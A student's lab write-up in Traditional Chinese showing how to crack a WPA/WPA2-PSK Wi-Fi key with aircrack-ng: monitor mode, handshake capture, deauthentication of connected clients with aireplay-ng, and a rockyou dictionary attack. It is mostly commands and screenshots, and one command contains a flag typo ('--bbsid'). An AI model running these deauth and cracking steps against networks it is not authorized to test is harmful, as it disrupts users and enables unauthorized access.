---
# System prepended metadata

title: 使用aircrack-ng暴力破解WPA/WPA2-PSK金鑰

---

# 使用aircrack-ng暴力破解WPA/WPA2-PSK金鑰
資安新手學習中，為了讓學習更有印象，所以開始把做的lab寫成教學文，參考大量網路教學文，可以在reference中參考。
## Description
老師暑假派給我研究WPA2，要破解wifi當然先從最簡單的PSK金鑰開始
aircrack-ng是比較有名的暴力破解工具
此篇為使用aircrack-ng來破解wifi密碼 !


## TOOL
* virtualbox with kali
* usb wifi adapter (MERCUSYS N300 MW300UM)
* 我的手機
* wifi router

## 流程
因為有些沒有截圖，但又懶得再重run一次。
所以先用敘述的，大部分的步驟跟reference中一模一樣，可以參考下面。

第一步，我們先將之後要用到的字典檔解壓縮
(如果你非第一次使用kali，之前解壓縮過了就可以跳過此步驟)
```
gunzip /usr/share/wordlists/rockyou.txt.gz
```

首先需要先把無線網卡接到虛擬機內
把無線網卡轉到監聽模式(並不是每個usb adapter都支援，需要注意一下)

```
sudo airmon-ng start wlan0
```

先把一些網卡介面的進程殺掉，因為會干擾到監聽router

```
sudo airmon-ng check kill
```

掃描附近的wifi

```
sudo airodump-ng wlan0
```

將要竊取的wifi的BSSID和channel複製後，就可以 `ctrl+c` 了

接著就用以下指令開始監聽此router，他會記錄這個wifi的所有封包並寫檔
(請將<xxx>內的替換成你的data)
    
```
sudo airodump-ng --bbsid <your bbsid> --channel <your channel> --write <紀錄所有封包的檔名> wlan0
```

![](https://i.imgur.com/SLwaKcL.png)

    
然後再開啟一個終端機(這時候請將你的手機連那台router的wifi並且開啟自動連線)
使用以下指令，不斷的斷開所有連接那台router裝置wifi的連線
    
```
sudo aireplay-ng --deauth <要斷開幾次> -a <your bbsid> wlan0
```
    
![](https://i.imgur.com/jYS7HBw.png)

    
如果使用者有打開自動連線的話，他就會自己再連線一次。
這樣我們就能抓到WPA handshake的封包
執行完成並且另一個airodump視窗有顯示 WPA handshake: <your bbsid> 字樣，就可以關閉aireplay視窗
沒有，就只能一直反覆執行replay等待有人上鉤。

將剛剛抓取到的所有封包的紀錄檔(.cap)，使用wordlists裡的字典檔暴力破解。
    
```
sudo aircrack-ng <紀錄所有封包的檔名>.cap -w /usr/share/wordlists/rockyou.txt
```
![](https://i.imgur.com/PF2yp2E.png)


他是原理是將原本驗證的明文資料用字典檔裡的爛密碼，一個一個加密並比對剛剛截取到的WPA handshake加密封包
如果一樣就代表WPA-PSK金鑰為字典檔裡的那個密碼
所以並不是執行以上指令就能破解每個WPA-PSK金鑰
破解依靠的是字典檔的強大，要是使用者設定的密碼比較複雜可能就破解不出來了
(像是下圖破解出密碼為00000000，爛透了)

![](https://i.imgur.com/y4tMhbZ.png)

最後，當所有都執行完成了，記得將無線網路介面卡的監聽模式關掉

```
sudo airmon-ng stop wlan0 
systemctl restart NetworkManager //重啟網路管理員
```
    
# Reference

* [Crack WPA/WPA2 WiFi Passwords using Aircrack-ng & Kali Linux](https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/)